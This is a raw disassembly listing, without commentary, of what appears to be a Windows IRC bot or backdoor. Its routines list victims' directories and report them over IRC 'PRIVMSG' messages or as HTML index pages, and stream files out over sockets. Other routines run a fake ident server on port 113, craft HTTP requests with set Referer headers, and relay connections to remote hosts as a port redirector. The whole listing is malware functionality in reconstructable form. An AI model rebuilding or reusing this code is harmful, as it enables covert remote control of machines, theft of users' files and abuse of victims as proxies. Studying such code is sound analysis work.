push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
lea eax, [ebp+var_248]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA24 ; send
push edi ; Str
call _strlen
pop ecx
mov byte ptr [eax+edi], 2Ah
push 3Ch
push 96h
push 0E6h
push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
lea eax, [ebp+var_248]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 18h
lea eax, [ebp+var_248]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA24 ; send
push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
lea eax, [ebp+var_248]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 0Ch
jmp short loc_4104C9
; ---------------------------------------------------------------------------
loc_4104AF: ; CODE XREF: sub_41036B+63j
mov esi, 200h
push offset aSearchingForS ; "Searching for: %s\r\n"
lea eax, [ebp+var_248]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 10h
loc_4104C9: ; CODE XREF: sub_41036B+5Aj
; sub_41036B+142j
lea eax, [ebp+var_248]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA24 ; send
cmp [ebp+Source], ebx
jz short loc_410564
push [ebp+Source] ; Str
call _strlen
cmp eax, 2
pop ecx
jbe short loc_410564
push [ebp+Source] ; Str
call _strlen
sub eax, 3
pop ecx
jz short loc_410515
loc_410509: ; CODE XREF: sub_41036B+1A8j
mov ecx, [ebp+Source]
cmp byte ptr [eax+ecx], 2Fh
jz short loc_410515
dec eax
jnz short loc_410509
loc_410515: ; CODE XREF: sub_41036B+19Cj
; sub_41036B+1A5j
inc eax
push eax ; Count
lea eax, [ebp+Dst]
push [ebp+Source] ; Source
push eax ; Dest
call _strncpy
add esp, 0Ch
lea eax, [ebp+Dst]
push eax
push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
lea eax, [ebp+var_248]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA24 ; send
loc_410564: ; CODE XREF: sub_41036B+180j
; sub_41036B+18Ej
lea eax, [ebp+var_388]
push eax
push edi
call ds:dword_427124 ; FindFirstFileA
lea ecx, [ebp+var_388]
mov [ebp+Str], eax
push ecx
push eax
call ds:dword_427120 ; FindNextFileA
test eax, eax
jz loc_410954
mov edi, 1FFh
loc_410590: ; CODE XREF: sub_41036B+5E3j
cmp [ebp+var_388], ebx
jz loc_41093C
lea eax, [ebp+Str1]
push offset a__ ; ".."
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_41093C
lea eax, [ebp+Str1]
push offset a__0 ; "."
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_41093C
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_374]
push eax
call ds:dword_42711C ; FileTimeToLocalFileTime
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_20]
push eax
call ds:dword_427118 ; FileTimeToSystemTime
mov ax, [ebp+var_10]
mov ecx, offset aPm_0 ; "PM"
cmp ax, 0Ch
ja short loc_410605
mov ecx, offset aAm ; "AM"
loc_410605: ; CODE XREF: sub_41036B+293j
cmp ax, 0Ch
movzx eax, ax
jbe short loc_410611
sub eax, 0Ch
loc_410611: ; CODE XREF: sub_41036B+2A1j
push ecx
movzx ecx, [ebp+var_E]
push ecx
push eax
movzx eax, [ebp+var_18]
push eax
movzx eax, [ebp+var_12]
push eax
movzx eax, [ebp+var_16]
push eax
lea eax, [ebp+Dest]
push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s"
push eax ; Dest
call _sprintf
add esp, 20h
test byte ptr [ebp+var_388], 10h
jz loc_4107B4
inc [ebp+var_8]
cmp [ebp+arg_8], ebx
jz short loc_410685
lea eax, [ebp+Str1]
push eax
push offset aS_2 ; "<%s>"
lea eax, [ebp+var_490]
push 106h ; Count
push eax ; Dest
call __snprintf
add esp, 10h
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+var_490]
push eax
push [ebp+arg_8]
push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n"
jmp loc_4108FD
; ---------------------------------------------------------------------------
loc_410685: ; CODE XREF: sub_41036B+2E0j
cmp [ebp+Source], ebx
jz loc_41076F
push 0E6h
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_248]
push edi ; Count
push eax ; Dest
call __snprintf
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA24 ; send
lea eax, [ebp+Str1]
push eax
lea eax, [ebp+var_248]
push [ebp+Source]
push offset aSS_4 ; "%s%s/"
push edi ; Count
push eax ; Dest
call __snprintf
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA24 ; send
lea eax, [ebp+Str1]
push eax ; Str
call _strlen
cmp eax, 1Eh
pop ecx
lea eax, [ebp+Str1]
push eax
jbe short loc_410725
push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
jmp short loc_41072A
; ---------------------------------------------------------------------------
loc_410725: ; CODE XREF: sub_41036B+3B1j
push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"
loc_41072A: ; CODE XREF: sub_41036B+3B8j
lea eax, [ebp+var_248]
push edi ; Count
push eax ; Dest
call __snprintf
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA24 ; send
lea eax, [ebp+Dest]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
push edi
jmp loc_4108FE
; ---------------------------------------------------------------------------
loc_41076F: ; CODE XREF: sub_41036B+31Dj
lea eax, [ebp+Str1]
push eax
push offset aS_2 ; "<%s>"
lea eax, [ebp+var_490]
push 106h ; Count
push eax ; Dest
call __snprintf
add esp, 10h
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+var_490]
push eax
push offset a31s21s ; "%-31s %-21s\r\n"
lea eax, [ebp+var_248]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 14h
jmp loc_41090D
; ---------------------------------------------------------------------------
loc_4107B4: ; CODE XREF: sub_41036B+2D4j
inc [ebp+var_4]
cmp [ebp+arg_8], ebx
jz short loc_4107F3
push ebx
push [ebp+var_368]
call sub_416CC9
pop ecx
pop ecx
push eax
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+Str1]
push eax
push [ebp+arg_8]
push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n"
push esi ; Count
loc_4107DF: ; CODE XREF: sub_41036B+577j
lea eax, [ebp+var_248]
push eax ; Dest
call __snprintf
add esp, 1Ch
jmp loc_41090D
; ---------------------------------------------------------------------------
loc_4107F3: ; CODE XREF: sub_41036B+44Fj
cmp [ebp+Source], ebx
jz loc_4108E7
push 0E6h
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_248]
push edi ; Count
push eax ; Dest
call __snprintf
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA24 ; send
lea eax, [ebp+Str1]
push eax
lea eax, [ebp+var_248]
push [ebp+Source]
push offset aSS ; "%s%s"
push edi ; Count
push eax ; Dest
call __snprintf
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA24 ; send
lea eax, [ebp+Str1]
push eax ; Str
call _strlen
cmp eax, 1Fh
pop ecx
lea eax, [ebp+Str1]
push eax
jbe short loc_410893
push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
jmp short loc_410898
; ---------------------------------------------------------------------------
loc_410893: ; CODE XREF: sub_41036B+51Fj
push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"
loc_410898: ; CODE XREF: sub_41036B+526j
lea eax, [ebp+var_248]
push edi ; Count
push eax ; Dest
call __snprintf
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA24 ; send
mov eax, [ebp+var_368]
shr eax, 0Ah
push eax
lea eax, [ebp+Dest]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
push edi
jmp loc_4107DF
; ---------------------------------------------------------------------------
loc_4108E7: ; CODE XREF: sub_41036B+48Bj
push [ebp+var_368]
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+Str1]
push eax
push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n"
loc_4108FD: ; CODE XREF: sub_41036B+315j
push esi ; Count
loc_4108FE: ; CODE XREF: sub_41036B+3FFj
lea eax, [ebp+var_248]
push eax ; Dest
call __snprintf
add esp, 18h
loc_41090D: ; CODE XREF: sub_41036B+444j
; sub_41036B+483j
lea eax, [ebp+var_248]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA24 ; send
cmp [ebp+arg_8], ebx
jz short loc_41093C
push 7D0h
call ds:dword_427080 ; Sleep
loc_41093C: ; CODE XREF: sub_41036B+22Bj
; sub_41036B+246j ...
lea eax, [ebp+var_388]
push eax
push [ebp+Str]
call ds:dword_427120 ; FindNextFileA
test eax, eax
jnz loc_410590
loc_410954: ; CODE XREF: sub_41036B+21Aj
push [ebp+Str]
call ds:dword_427000 ; FindClose
cmp [ebp+arg_8], ebx
jz short loc_410997
mov eax, [ebp+var_8]
cdq
push edx
push eax
call sub_416CC9
pop ecx
pop ecx
push eax
mov eax, [ebp+var_4]
cdq
push edx
push eax
call sub_416CC9
pop ecx
pop ecx
push eax
lea eax, [ebp+var_248]
push [ebp+arg_8]
push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
push eax ; Dest
call _sprintf
add esp, 14h
jmp short loc_4109CB
; ---------------------------------------------------------------------------
loc_410997: ; CODE XREF: sub_41036B+5F5j
cmp [ebp+Source], ebx
jz short loc_4109B1
lea eax, [ebp+var_248]
push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
push eax ; Dest
call _sprintf
pop ecx
pop ecx
jmp short loc_4109CB
; ---------------------------------------------------------------------------
loc_4109B1: ; CODE XREF: sub_41036B+62Fj
push [ebp+var_8]
lea eax, [ebp+var_248]
push [ebp+var_4]
push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
push eax ; Dest
call _sprintf
add esp, 10h
loc_4109CB: ; CODE XREF: sub_41036B+62Aj
; sub_41036B+644j
lea eax, [ebp+var_248]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA24 ; send
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
sub_41036B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4109F1 proc near ; CODE XREF: sub_40FF31+13Cp
Dst = byte ptr -404h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 404h
push ebx
push esi
xor esi, esi
push edi
push esi
push esi
push 3
push esi
push 1
push 80000000h
push [ebp+arg_4]
mov edi, 400h
mov [ebp+var_4], esi
call ds:dword_4270F8 ; CreateFileA
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_410AA9
push esi
push ebx
call ds:dword_427114 ; GetFileSize
cmp eax, esi
mov [ebp+arg_4], eax
jz short loc_410AA2
loc_410A36: ; CODE XREF: sub_4109F1+AFj
push 400h ; Size
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
cmp edi, [ebp+arg_4]
jbe short loc_410A53
mov edi, [ebp+arg_4]
loc_410A53: ; CODE XREF: sub_4109F1+5Dj
mov eax, [ebp+arg_4]
push 2
neg eax
push esi
push eax
push ebx
call ds:dword_427128 ; SetFilePointer
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+Dst]
push edi
push eax
push ebx
call ds:dword_4270EC ; ReadFile
push esi
lea eax, [ebp+Dst]
push edi
push eax
push [ebp+arg_0]
call dword_4CBA24 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_410A9D
call dword_4CB968 ; WSAGetLastError
cmp eax, 2733h
jnz short loc_410AA2
xor eax, eax
loc_410A9D: ; CODE XREF: sub_4109F1+9Bj
sub [ebp+arg_4], eax
jnz short loc_410A36
loc_410AA2: ; CODE XREF: sub_4109F1+43j
; sub_4109F1+A8j
push ebx
call ds:dword_427070 ; CloseHandle
loc_410AA9: ; CODE XREF: sub_4109F1+30j
pop edi
pop esi
pop ebx
leave
retn
sub_4109F1 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_410AAE(char *Str)
sub_410AAE proc near ; CODE XREF: sub_4100B4+181p
Str = dword ptr 4
push esi
push edi
mov edi, [esp+8+Str]
xor esi, esi
push edi ; Str
call _strlen
test eax, eax
pop ecx
jbe short loc_410AD7
loc_410AC1: ; CODE XREF: sub_410AAE+27j
cmp byte ptr [esi+edi], 5Ch
jnz short loc_410ACB
mov byte ptr [esi+edi], 2Fh
loc_410ACB: ; CODE XREF: sub_410AAE+17j
push edi ; Str
inc esi
call _strlen
cmp esi, eax
pop ecx
jb short loc_410AC1
loc_410AD7: ; CODE XREF: sub_410AAE+11j
mov eax, edi
pop edi
pop esi
retn
sub_410AAE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_410ADC(int,char *Str,int,int,int,int,int,int,int)
sub_410ADC proc near ; CODE XREF: sub_401ACD+51B7p
var_4A0 = byte ptr -4A0h
Dest = byte ptr -310h
Format = byte ptr -110h
Dst = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 4A0h
push ebx
lea eax, [ebp+var_4A0]
push edi
push eax
push 101h
call dword_4CB944 ; WSAStartup
push 6
push 1
push 2
call dword_4CBA54 ; socket
mov ebx, eax
xor edi, edi
push 10h ; Size
lea eax, [ebp+Dst]
push edi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push [ebp+arg_14]
call dword_4CB9D4 ; htons
push [ebp+arg_10]
mov [ebp+var_E], ax
call sub_40A8F0
pop ecx
mov [ebp+var_C], eax
lea eax, [ebp+Dst]
push 10h
push eax
push ebx
call dword_4CB97C ; connect
cmp eax, 0FFFFFFFFh
jz short loc_410BB9
mov eax, [ebp+arg_20]
cmp eax, edi
jnz short loc_410B55
mov eax, offset byte_43DB88
loc_410B55: ; CODE XREF: sub_410ADC+72j
push esi
mov esi, 100h
push [ebp+arg_10]
push eax
lea eax, [ebp+Format]
push [ebp+arg_1C]
push [ebp+arg_18]
push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 1Ch
lea eax, [ebp+Format]
push edi
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Format]
push eax
push ebx
call dword_4CBA24 ; send
push esi ; Size
lea eax, [ebp+Format]
push edi ; Src
push eax ; Dst
call _memcpy
add esp, 0Ch
lea eax, [ebp+Format]
push edi
push esi
push eax
push ebx
call dword_4CB9EC ; recv
pop esi
loc_410BB9: ; CODE XREF: sub_410ADC+6Bj
push ebx
call dword_4CBA6C ; closesocket
call dword_4CB92C ; WSACleanup
lea eax, [ebp+Format]
push eax ; Format
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
cmp [ebp+arg_C], edi
pop ecx
pop ecx
jnz short loc_410BF9
push edi ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409869
add esp, 14h
loc_410BF9: ; CODE XREF: sub_410ADC+102j
pop edi
pop ebx
leave
retn
sub_410ADC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410BFD proc near ; DATA XREF: WinMain(x,x,x,x)+445o
; sub_401ACD+438Bo
Str = byte ptr -238h
Dest = byte ptr -38h
var_2C = byte ptr -2Ch
var_2A = word ptr -2Ah
var_28 = dword ptr -28h
Dst = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 238h
push ebx
push esi
push edi
push 10h
pop edi
xor esi, esi
push edi ; Size
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
mov [ebp+var_8], esi
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push 71h
call dword_4CB9D4 ; htons
push esi
push 1
push 2
mov [ebp+var_1A], ax
mov [ebp+var_18], esi
call dword_4CBA54 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_410D61
mov eax, [ebp+arg_0]
push edi
imul eax, 234h
mov dword_43E91C[eax], ebx
lea eax, [ebp+Dst]
push eax
push ebx
call dword_4CBA00 ; bind
cmp eax, 0FFFFFFFFh
jz loc_410D61
push 5
push ebx
call dword_4CB9FC ; listen
cmp eax, 0FFFFFFFFh
jz loc_410D61
mov [ebp+var_C], edi
mov edi, 200h
loc_410C88: ; CODE XREF: sub_410BFD+EAj
; sub_410BFD+14Dj ...
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_2C]
push eax
push ebx
call dword_4CBA68 ; accept
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jz loc_410D5C
movzx eax, [ebp+var_2A]
push eax
push [ebp+var_28]
call dword_4CBA60 ; inet_ntoa
push eax
lea eax, [ebp+Str]
push offset asc_435164 ; "-"
push eax ; Dest
call _sprintf
lea eax, [ebp+Str]
push eax
call sub_415D38
add esp, 14h
lea eax, [ebp+Str]
push esi
push edi
push eax
push [ebp+var_4]
call dword_4CB9EC ; recv
cmp eax, 0FFFFFFFFh
jz short loc_410C88
lea eax, [ebp+Str]
push esi ; int
push eax ; Str
call sub_4184CC
push 0Ch ; Size
lea eax, [ebp+Dest]
push esi ; Val
push eax ; Dst
call _memset
push esi ; Str1
push esi ; int
lea eax, [ebp+Dest]
push 2 ; int
push eax ; Dest
call sub_40AE84
add esp, 24h
push eax
push offset aUseridUnixS ; " : USERID : UNIX : %s\r\n"
lea eax, [ebp+Str]
push edi ; Count
push eax ; Dest
call __snprintf
add esp, 10h
lea eax, [ebp+Str]
push esi
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Str]
push eax
push [ebp+var_4]
call dword_4CBA24 ; send
cmp eax, 0FFFFFFFFh
jz loc_410C88
mov [ebp+var_8], 1
jmp loc_410C88
; ---------------------------------------------------------------------------
loc_410D5C: ; CODE XREF: sub_410BFD+A0j
cmp [ebp+var_8], esi
jnz short loc_410D88
loc_410D61: ; CODE XREF: sub_410BFD+47j
; sub_410BFD+6Bj ...
call dword_4CB968 ; WSAGetLastError
push eax
lea eax, [ebp+Str]
push offset asc_435120 ; "-"
push eax ; Dest
call _sprintf
lea eax, [ebp+Str]
push eax
call sub_415D38
add esp, 10h
loc_410D88: ; CODE XREF: sub_410BFD+162j
push ebx
call dword_4CBA6C ; closesocket
push [ebp+var_4]
call dword_4CBA6C ; closesocket
push [ebp+arg_0]
call sub_40B6D6
pop ecx
push esi
call ds:dword_4270D4 ; ExitThread
pop edi
pop esi
pop ebx
sub_410BFD endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410DAB proc near ; DATA XREF: sub_401ACD+605Do
Source = byte ptr -350h
var_150 = byte ptr -150h
var_14C = dword ptr -14Ch
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_30 = dword ptr -30h
var_28 = byte ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_18 = byte ptr -18h
Dst = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 350h
mov eax, [ebp+arg_0]
push esi
push edi
push 4Ah
pop ecx
mov esi, eax
lea edi, [ebp+var_150]
push 10h
rep movsd
pop edi
mov dword ptr [eax+120h], 1
xor esi, esi
push edi ; Size
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push [ebp+var_44]
call dword_4CB9D4 ; htons
push 6
push 1
push 2
mov [ebp+var_12], ax
mov [ebp+var_10], esi
mov [ebp+var_4], edi
call dword_4CBA54 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz loc_410F17
mov ecx, [ebp+var_40]
push 1
imul ecx, 234h
push 401h
push esi
push eax
mov dword_43E91C[ecx], eax
call dword_4CB8E4 ; WSAAsyncSelect
lea eax, [ebp+Dst]
push edi
push eax
push [ebp+arg_0]
call dword_4CBA00 ; bind
test eax, eax
jnz loc_410F17
push 0Ah
push [ebp+arg_0]
call dword_4CB9FC ; listen
test eax, eax
jnz loc_410F17
loc_410E5B: ; CODE XREF: sub_410DAB+C6j
; sub_410DAB+147j
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_28]
push eax
push [ebp+arg_0]
call dword_4CBA68 ; accept
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_410E5B
movzx eax, [ebp+var_26]
push [ebp+var_40]
mov [ebp+var_14C], edi
mov [ebp+var_30], esi
push eax
push [ebp+var_24]
call dword_4CBA60 ; inet_ntoa
push eax
lea eax, [ebp+Source]
push offset asc_4351CC ; "-"
push eax ; Dest
call _sprintf
push edi ; int
lea eax, [ebp+Source]
push 18h ; int
push eax ; Source
call sub_40B3BA
mov [ebp+var_3C], eax
imul eax, 234h
mov ecx, [ebp+var_40]
add esp, 20h
mov dword_43E914[eax], ecx
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_150]
push esi
push eax
push offset sub_410F3C
push esi
push esi
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_3C]
imul ecx, 234h
cmp eax, esi
mov dword_43E924[ecx], eax
jz short loc_410F02
loc_410EEF: ; CODE XREF: sub_410DAB+155j
cmp [ebp+var_30], esi
jnz loc_410E5B
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_410EEF
; ---------------------------------------------------------------------------
loc_410F02: ; CODE XREF: sub_410DAB+142j
call ds:dword_427094 ; RtlGetLastWin32Error
push eax ; Args
push offset asc_435190 ; "-"
call sub_415DAC
pop ecx
pop ecx
jmp short loc_410F1A
; ---------------------------------------------------------------------------
loc_410F17: ; CODE XREF: sub_410DAB+63j
; sub_410DAB+97j ...
mov edi, [ebp+arg_0]
loc_410F1A: ; CODE XREF: sub_410DAB+16Aj
push edi
call dword_4CBA6C ; closesocket
push [ebp+arg_0]
call dword_4CBA6C ; closesocket
push [ebp+var_40]
call sub_40B6D6
pop ecx
push esi
call ds:dword_4270D4 ; ExitThread
pop edi
pop esi
sub_410DAB endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410F3C proc near ; DATA XREF: sub_410DAB+124o
var_1344 = byte ptr -1344h
Source = byte ptr -344h
var_144 = byte ptr -144h
var_13C = byte ptr -13Ch
var_3C = dword ptr -3Ch
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
Dst = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1344h
call __alloca_probe
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 4Ah
mov esi, eax
pop ecx
lea edi, [ebp+var_144]
rep movsd
mov ebx, [ebp+var_30]
push 1
pop ecx
mov [ebp+var_4], ebx
push 6
push ecx
push 2
mov [eax+120h], ecx
call dword_4CBA54 ; socket
mov esi, eax
xor edi, edi
cmp esi, 0FFFFFFFFh
mov [ebp+arg_0], esi
jz loc_4110F2
push 10h ; Size
lea eax, [ebp+Dst]
push edi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push [ebp+var_3C]
call dword_4CB9D4 ; htons
mov [ebp+var_16], ax
lea eax, [ebp+var_13C]
push eax
call dword_4CBA14 ; inet_addr
cmp eax, 0FFFFFFFFh
mov [ebp+var_8], eax
jnz short loc_410FCC
lea eax, [ebp+var_13C]
push eax
call dword_4CBA58 ; gethostbyname
jmp short loc_410FDA
; ---------------------------------------------------------------------------
loc_410FCC: ; CODE XREF: sub_410F3C+7Fj
push 2
lea eax, [ebp+var_8]
push 4
push eax
call dword_4CB98C ; gethostbyaddr
loc_410FDA: ; CODE XREF: sub_410F3C+8Ej
cmp eax, edi
jz loc_4110F2
mov eax, [eax+0Ch]
push 10h
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_14], eax
lea eax, [ebp+Dst]
push eax
push esi
call dword_4CB97C ; connect
cmp eax, 0FFFFFFFFh
jz loc_4110F2
movzx eax, [ebp+var_16]
push [ebp+var_34]
mov [ebp+var_20], edi
push eax
push [ebp+var_14]
call dword_4CBA60 ; inet_ntoa
push eax
lea eax, [ebp+Source]
push offset asc_435254 ; "-"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Source]
push 18h ; int
push eax ; Source
call sub_40B3BA
imul ebx, 234h
mov [ebp+var_30], eax
imul eax, 234h
mov ecx, [ebp+var_34]
lea esi, dword_43E91C[ebx]
mov dword_43E914[eax], ecx
add esp, 20h
mov ecx, [esi]
mov dword_43E920[eax], ecx
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_144]
push edi
push eax
push offset sub_411123
push edi
push edi
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_30]
imul ecx, 234h
cmp eax, edi
mov dword_43E924[ecx], eax
jz short loc_4110DF
loc_41108C: ; CODE XREF: sub_410F3C+15Dj
cmp [ebp+var_20], edi
jnz short loc_41109B
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_41108C
; ---------------------------------------------------------------------------
loc_41109B: ; CODE XREF: sub_410F3C+153j
mov ebx, 1000h
loc_4110A0: ; CODE XREF: sub_410F3C+19Fj
push ebx ; Size
lea eax, [ebp+var_1344]
push edi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+var_1344]
push edi
push ebx
push eax
push dword ptr [esi]
call dword_4CB9EC ; recv
cmp eax, edi
jle short loc_4110F2
push edi
push eax
lea eax, [ebp+var_1344]
push eax
push [ebp+arg_0]
call dword_4CBA24 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_4110A0
jmp short loc_4110F2
; ---------------------------------------------------------------------------
loc_4110DF: ; CODE XREF: sub_410F3C+14Ej
call ds:dword_427094 ; RtlGetLastWin32Error
push eax ; Args
push offset asc_435214 ; "-"
call sub_415DAC
pop ecx
pop ecx
loc_4110F2: ; CODE XREF: sub_410F3C+44j
; sub_410F3C+A0j ...
mov eax, [ebp+var_4]
imul eax, 234h
push dword_43E91C[eax]
call dword_4CBA6C ; closesocket
push [ebp+arg_0]
call dword_4CBA6C ; closesocket
push [ebp+var_4]
call sub_40B6D6
pop ecx
push edi
call ds:dword_4270D4 ; ExitThread
pop edi
pop esi
pop ebx
sub_410F3C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411123 proc near ; DATA XREF: sub_410F3C+130o
Dst = byte ptr -1128h
var_128 = byte ptr -128h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1128h
call __alloca_probe
mov eax, [ebp+arg_0]
push esi
push edi
push 4Ah
pop ecx
mov esi, eax
lea edi, [ebp+var_128]
rep movsd
mov esi, [ebp+var_14]
mov dword ptr [eax+124h], 1
imul esi, 234h
mov edi, 1000h
loc_41115A: ; CODE XREF: sub_411123+7Cj
push edi ; Size
lea eax, [ebp+Dst]
push 0 ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+Dst]
push 0
push edi
push eax
